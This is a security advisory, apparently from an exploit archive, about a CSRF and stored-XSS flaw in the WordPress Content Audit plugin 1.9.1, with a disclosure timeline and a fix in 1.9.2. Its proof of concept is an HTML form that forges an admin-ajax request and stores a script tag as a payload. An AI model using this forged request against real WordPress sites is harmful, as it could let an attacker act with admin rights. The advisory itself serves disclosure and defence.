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WordPress Content Audit 1.9.1 Cross Site Request Forgery / Cross Site Scripting

WordPress Content Audit 1.9.1 Cross Site Request Forgery / Cross Site Scripting
Posted Sep 28, 2017
Authored by Tom Adams

WordPress Content Audit plugin version 1.9.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | ccae3b90f7af6c68d9ede2de79f8f3b6

WordPress Content Audit 1.9.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
Details
================
Software: Content Audit
Version: 1.9.1
Homepage: https://wordpress.org/plugins/content-audit/
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can

Vulnerability
================
The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages.

Proof of concept
================

Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least aPagesa for aAudited content typesa
Visit a page containing the below HTML
Click submit
VisitA http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\">
<input type=\"text\" name=\"post_ids[]\" value=\"2\">
<input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">
<input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\">
<input type=\"text\" name=\"_content_audit_notes\" value=\"<script>alert(1)</script>\">
<input type=\"submit\">
</form>
A

Mitigations
================
Upgrade to version 1.9.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-08-21: Discovered
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




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